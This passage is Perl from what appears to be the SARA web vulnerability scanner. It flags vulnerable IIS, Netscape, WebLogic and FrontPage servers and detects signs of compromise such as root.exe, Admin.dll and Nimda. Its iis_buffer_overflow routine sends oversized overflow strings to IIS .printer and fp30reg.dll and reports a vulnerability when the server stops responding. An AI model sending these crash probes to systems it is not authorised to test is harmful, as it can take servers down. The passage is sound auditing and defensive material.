               $status = "a";
               $trustee = "ANY\@ANY";
               $service_output = "Potentially Vulnerable Web Server";
               $trusted = "ANY\@ANY";
               $text = "iPlanet 4 (SP3-SP7) may be vulnerable to buffer overflow ($service)";
               $severity = "ycio";
               &sara_print();
               $printed_bo=1;

           }
         }
       }
      if (/Server: / && /FastTrack/) {
       if ($printed_bo == 0) {
         /Netscape-FastTrack\/([0-9]+)\.([0-9.]+)/ ? ($1,$2) : 0;
         $v1=$1; $v2=$2;
         $netscape = 1;
           if ($v1 <=3 ) {
         if ($v1 != 4 && $v1 != 3 && $v2 != 02) {
             $service = $ARGV[0];
             $status = "a";
             $trustee = "ANY\@ANY";
             $service_output = "Potentially Vulnerable Web Server";
             $trusted = "ANY\@ANY";
             $text = "Netscape FastTrack server vulnerable to buffer overflow ($service)";
             $severity = "ycio";
             $printed_bo=1;
             &sara_print();
          }
}
        }
      }
      if (/Server: WebLogic/i) {
       if (/([0-9]+)\.([0-9]+)\.?([0-9]*)( Service Pack )?([0-9]*)/i) {
         if ($1<5 || ($1==5 && $2<1)) {
            $service_output = "Potentially Vulnerable Web Server";
            $text = "BEA WebLogic pre 5.1 subject to buffer overflow";
            $severity = "ycio";
            &sara_print();
          }
          elsif ($1==5 && $2==1 && $3==0 && $5<5) {
            $service_output = "Potentially Vulnerable Web Server";
            $text = "BEA WebLogic pre 5.1.0 SP5 subject to buffer overlow";
            $severity = "ycio";
            &sara_print();
           }
            elsif (($1<5) || ($1==5 && $2<1) || ($1==5 && $2==1 && $3==0 && $5<7)) {
             $service_output = "Potentially Vulnerable Web Server";
             $text = "BEA WebLogic pre 5.1.0 SP7 subject to buffer overflow";
             $severity = "ycio";
             &sara_print();
            }
        }
      }

       $iis_5 = 1 if (/Server: Microsoft-IIS\/5.0/);

      if (/\<script\>SARA\<\/script\>/) {
         $service = $ARGV[0];
         $status = "a";
         $trustee = "ANY\@ANY";
         $trusted = "ANY\@ANY";
         $service_output = "CSS Weakness";
         $text = "$attack[$i] ($service)";
         $severity = $svcode[$i];
         &sara_print ();
         $printed=1;
         }

      if (/discard/ && /tcp/) {			# Tests that read services
         $service = $ARGV[0];
         $status = "a";
         $trustee = "ANY\@ANY";
         $trusted = "ANY\@ANY";
         $service_output = "http cgi access";
         $text = "WWW: Unauthorized Access via via CGI $attack[$i] ($service)";
         $severity = $svcode[$i];
         &sara_print ();
         $printed=1;
      } elsif (/access-group/ || /access-list/ || /enable secret/i) {
          $service = $ARGV[0];
         $status = "a";
         $trustee = "ANY\@ANY";
         $trusted = "ANY\@ANY";
         $service_output = "Potentially Vulnerable Web Server";
         $text = "$attack[$i] ($service)";
         $severity = "ycio";
         &sara_print ();
         $printed=1;
      } elsif (/:0:/) {
         $service = $ARGV[0];
         $status = "a";
         $trustee = "ANY\@ANY";
         $trusted = "ANY\@ANY";
         $service_output = "http cgi access";
         $text = "$attack[$i]";
         $severity = $svcode[$i];
         &sara_print ();
         $printed=1;
      }
      elsif (/\[boot loader\]/) {			# iisamples and CF
        $service = $ARGV[0];
         $status = "a";
         $trustee = "ANY\@ANY";
         $trusted = "ANY\@ANY";
         $service_output = "http cgi access";
         $text = "WWW: $attack[$i] is active and may be vulnerable ($service)";
         $severity = "$svcode[$i]";
         &sara_print ();
         $printed=1;

      }

      elsif (/JetAdmin-5.06/ || /JetAdmin-5.05.177/) {   # Jet Direct Version 
       if ($attack[$i] eq "JetAdmin") {
        $service = $ARGV[0];
         $status = "a";
         $trustee = "ANY\@ANY";
         $trusted = "ANY\@ANY";
         $service_output = "possible http cgi access";
         $text = "WWW: $attack[$i] is active and may be vulnerable ($service)";
         $severity = "$svcode[$i]";
         &sara_print ();
         $printed=1;
        }
      }
      elsif (/access-group/ || /access list/ || /enable secret/i) {
       if ($attack[$i] eq "Cisco Catalyst access") {
        $service = $ARGV[0];
         $status = "a";
         $trustee = "ANY\@ANY";
         $trusted = "ANY\@ANY";
         $service_output = "http cgi access";
         $text = "WWW: $attack[$i] is active and may be vulnerable ($service)";
         $severity = "$svcode[$i]";
         &sara_print ();
         $printed=1;
        }
      }
      elsif (/Volume Serial Number/i) {
       if ($attack[$i] =~ /command execution/) {
        $service = $ARGV[0];
         $status = "a";
         $trustee = "ANY\@ANY";
         $trusted = "ANY\@ANY";
         $service_output = "Vulnerable IIS Web Server [CA-2002-09]";
         $text = "WWW: $attack[$i] is active and may be vulnerable ($service)";
         $severity = "$svcode[$i]";
         &sara_print ();
         $printed=1;
       }
       if (/ root.exe/) {
            $service = $ARGV[0];
            $status = "a";
            $trustee = "ANY\@ANY";
            $trusted = "ANY\@ANY";
            $service_output = "hacker program found";
            $text = "Probable system compromise; root.exe found";
            $severity = "us";
            &sara_print ();
            $printed=1;
       }
      }elsif(/Cannot create a file when that file/) {
        if ($attack =~ /Admin.dll/) {
            $service = $ARGV[0];
            $status = "a";
            $trustee = "ANY\@ANY";
            $trusted = "ANY\@ANY";
            $service_output = "hacker program found";
            $text = "Probable system compromise; Admin.dll found";
            $severity = "us";
            &sara_print ();
            $printed=1;
        }
      }

      elsif (/20[01] OK/){
       if ($string[$i] =~ /HTTP/ && ! /disable/i && ! /Cache Manager Daemon/i) {
        if (! /Not Found/ && ! /Denied/i) {		# User defined 404
         if (! /only be used on local server/) {	# Cold Fusion
          if(! /FrontPage Error/) {                    # Front Page 
           if(! /Bad Request/i && ! /bad-request/) {
            $SANITY="" if $attack[$i] eq "sanity";     #Case where always 200
            if($SANITY) {
                if ($attack[$i] =~ "RDS") {
                  $args = "-N -h $target";
                  open (RDS, "$MSADC $args |");
                  while (<RDS>) {
                   chomp;
                   if (/Machine/) {
                    ($dum0, $name) = split(/:/);
                    $name =~ s/\s+//;
                    if ($name) {
                      $service = $ARGV[0];
                      $status = "a";
                      $severity = $svcode[$i];
                      $trustee = "ANY\@ANY";
                      $trusted = "ANY\@ANY";
                      $service_output = "Vulnerable Web Server (RDS)";
                   $text = "WWW: $attack[$i] is active and may be vulnerable ($service)";
                      &sara_print();
                      $printed = 1;
                    }
                   }
                  }
                } elsif($attack[$i] =~ /Index services/) {
                    if(/0xc0000005/) { 
                      $service = $ARGV[0];
                      $status = "a";
                      $severity = $svcode[$i];
                      $trustee = "ANY\@ANY";
                      $trusted = "ANY\@ANY";
                      $service_output="Vulnerable IIS Web Server [CA-2002-09]";
                      $text = $attack[$i];
                      &sara_print();
                      $printed = 1;
                    }
                } elsif($attack[$i] =~ /exampleapps/) {
                    if(/CFINCLUDE TEMPLATE/) {
                        $service = $ARGV[0];
                        $status = "a";
                        $severity = $svcode[$i];
                        $trustee = "ANY\@ANY";
                        $trusted = "ANY\@ANY";
                        $service_output = "http cgi access";
                        $text = $attack[$i];
                        &sara_print();
                        $printed = 1;
                    }
                } elsif($attack[$i] =~ /readme.eml/) {
                     if(/readme.eml/ || /Sample.eml/i) {
                        $service = $ARGV[0];
                        $status = "a";
                        $severity = $svcode[$i];
                        $trustee = "ANY\@ANY";
                        $trusted = "ANY\@ANY";
                        $service_output = "backdoor found";
                        $text = "Evidence of Nimda Worm";
                        &sara_print();
                        $printed = 1;
                     }
                } else {
                $service = $ARGV[0];
                $status = "a";
                $trustee = "ANY\@ANY";
                $trusted = "ANY\@ANY";
                if ($svcode[$i] eq "ycio") {
                   $service_output = "possible http cgi access";
                   $text = "WWW: $attack[$i] is active and may be vulnerable ($service)";
                } else {
                   $service_output = "http cgi access";
                   $text = "WWW: $attack[$i] is active and may be vulnerable ($service)";
                }
                $severity = $svcode[$i];
                &sara_print ();
                $printed=1;
              }
             }
            }
          }
         }
        }
       }
     } elsif (/500/ && /Server/ && !/OK/) {
        $SANITYCGI="" if $attack[$i] eq "sanity";     #Case where always 500
        if ( $SANITYCGI ) {
#         if ($string[$i] =~ /infosrch/ || $attack[$i] =~ /shell/) { 
         if ($attack[$i] =~ /shell/) {
           $service = $ARGV[0];
           $status = "a";
           $trustee = "ANY\@ANY";
           $service_output = "possible http cgi access";
           $trusted = "ANY\@ANY";
           $text = "WWW: $attack[$i] is active and may be vulnerable";
           $severity = $svcode[$i];
           &sara_print ();
           $printed=1;
         } elsif($attack[$i] =~ /ISAPI/) {
             if (/printer install/) {
              $bo_mode = "ISAPI";
              if(iis_buffer_overflow() < 0) {
                $service = $ARGV[0];
                $status = "a";
                $trustee = "ANY\@ANY";
                $service_output = "Potentially Vulnerable IIS Web Server [CA-2002-09]";
                $trusted = "ANY\@ANY";
                $text = "$attack[$i]";
                $severity = $svcode[$i];
                &sara_print ();
                $printed=1; 
              }
             }
         }
       }
     } elsif (/501/ && /Not Implemented/) {
        if ($attack[$i] =~ /RAD/ && /SARA/) {
            $bo_mode = "IDQ";
            if(iis_buffer_overflow() < 0) {
              $service = $ARGV[0];
              $status = "a";
              $trustee = "ANY\@ANY";
              $service_output="Potentially Vulnerable FrontPage (RAD) extensions";
              $trusted = "ANY\@ANY";
              $text = "$attack[$i]";
              $severity = $svcode[$i];
            }
        }
      } elsif (/requested file/ && $attack[$i] =~ /HTR/) {
            $service = $ARGV[0];
            $status = "a";
            $trustee = "ANY\@ANY";
            $service_output = "Potentially Vulnerable IIS Web Server [CA-2002-09]";
            $trusted = "ANY\@ANY";
            $text = "$attack[$i]";
            $severity = $svcode[$i];
            &sara_print();
            $printed = 1;
      }
          
   }
   close(SCAN);
   $i = $i + 1;
 }
#
#  MS IIS 5 backdoor section
#
if ($iis_pwd_bd == 1) {
     $service = $ARGV[0];
     $status = "a";
     $trustee = "ANY\@ANY";
     $service_output = "Vulnerable Web Server";
     $trusted = "ANY\@ANY";
     $text = "IIS may have a Microsoft password backdoor";
     $severity = "rus";
     &sara_print();
     $printed = 1;
}
if ($printed == 0 && $response == 1) {
  &sara_print();
}
sub iis_buffer_overflow {

#
#Buffer overflow strings for IIS 5
#
$_bo_mode = 0 if ($bo_mode eq "ISAPI");
$_bo_mode = 1 if ($bo_mode eq "IDQ");
$_bo_mode = 2 if ($bo_mode eq "RAD");
$bo_string[0] = "GET /NULL.printer HTTP/1.0\n" . "Host: SARA-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n\n";
$bo_attack[0] = "IIS 5.0 (ISAPI) is vulnerable to buffer overflow (MS 29231)";
$bo_svcode[0] = "bo";
$bo_when[0]   = "win2k";

$bo_string[1] = " GET /_vti_bin/_vti_aut/fp30reg.dll?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.0\n\n\n";
$bo_attack[1] = "MS FrontPage (RAD) is vulnerable to buffer overflow (MS01-035)";
$bo_svcode[1] = "bo";
$bo_when[1]   = "win2k";


#
#  IIS 5.x Buffer Overflow Section
#     IIS 5 ISAPI: always runs (only on Win 2000)
#     IIS 5 idq.dll runs on Windows 2000 (and above) targets
#     IIS FrontPage RAD test only runs in extreme mode
#
   $cnt = $_bo_mode;
   if ($extreme != 1) {
     if ($bo_when[$cnt] ne "ALL") {
       if (($bo_when[$cnt] eq "win2k" && $win2k == 0) || !$bo_when[$cnt]) {
           return -1;
       }
     }
   }
   $bo_response = 0;
   $bo_wait = 0;
   $args = "-w 5 -bs  \"$bo_string[$cnt]\" $target $port";
   print "\n$bo_string[$cnt]\n" if $opt_v;
   die "Can't open $TCP_SCAN: $!\n" unless open(SCAN, "$TCP_SCAN $args|");
   while(<SCAN>) {
     chomp;
     print "$_\n" if $opt_v;
   }
   close(SCAN);
   $get_string = "GET /\n";
   $args = "-w 5 -bs  \"$get_string\" $target $port";
   print "$get_string\n" if $opt_v;
   die "Can't open $TCP_SCAN: $!\n" unless open(TMP, "$TCP_SCAN $args|");
   while(<TMP>) {   
     chomp;
     $bo_response = 1;
     print "$_\n" if $opt_v;
   }
   close(TMP);
   if ($bo_response == 0) {
     $service = $ARGV[0];
     $status = "a";
     $trustee = "ANY\@ANY";
     $service_output = "Vulnerable Web Server ($bo_mode) [CA-2002-09]";
     if ($bo_attack[$cnt] =~ /RAD/) {
       $service_output = "Vulnerable FrontPage (RAD) extensions";
     }
     $trusted = "ANY\@ANY";
     $text = $bo_attack[$cnt];
     $severity = $bo_svcode[$cnt];
     &sara_print();
     $printed = 1;
     sleep(30);
     $bo_wait = 0; 
     return 1;
   } else {
     return 0;
   }
A
}
